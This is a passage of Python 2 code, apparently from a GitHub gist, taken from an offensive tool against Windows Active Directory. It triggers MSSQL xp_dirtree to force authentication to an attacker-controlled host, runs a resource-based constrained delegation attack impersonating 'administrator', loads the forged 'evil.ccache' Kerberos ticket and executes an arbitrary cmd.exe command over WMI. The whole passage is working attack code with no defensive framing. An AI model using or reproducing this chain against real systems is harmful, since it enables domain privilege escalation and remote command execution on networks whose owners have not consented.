if options.mssql_user and options.mssql_pass: | |
print "[*] using provided mssql credentials" | |
mssql_trigger = MSSQLCommand(target=options.target, port=options.mssql_port, username=options.mssql_user, password=options.mssql_pass, windows=False) | |
else: | |
mssql_trigger = MSSQLCommand(target=options.target, port=options.mssql_port, username=options.username, password=options.password, hashes=options.nthash, domain=options.domain, kdcHost=options.dc) | |
mssql_command = "EXEC MASTER.sys.xp_dirtree '\\\\%s@%s\\share', 1, 1;" % (server_hostname, options.server_port) | |
mssql_trigger.run_command(mssql_command) | |
print "[*] executing s4u2pwnage" | |
identity = '%s/%s:%s' % (options.domain, spn_username, spn_password) | |
spn = 'cifs/%s' % options.target | |
if spn_username == options.username and options.nthash: | |
rbcd_args = Namespace(aesKey=None, dc_ip=options.dc, debug=False, hashes=options.nthash, impersonate='administrator', k=False, no_pass=False, spn=spn) | |
else: | |
rbcd_args = Namespace(aesKey=None, dc_ip=options.dc, debug=False, hashes=None, impersonate='administrator', k=False, no_pass=False, spn=spn) | |
do_rbcd_attack = GETST(spn_username, spn_password, options.domain, rbcd_args) | |
do_rbcd_attack.run() | |
print '[*] loading ticket into environment' | |
cwd = os.getcwd() | |
ticket_location = "%s/evil.ccache" % (cwd) | |
os.chmod(ticket_location, 0700) | |
os.environ['KRB5CCNAME'] = ticket_location | |
command = 'cmd.exe /Q /c %s' % options.command | |
print '[*] executing "%s" over wmi' % command | |
wmi_exec(options.target, options.dc, command) | |
print "[+] complete" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment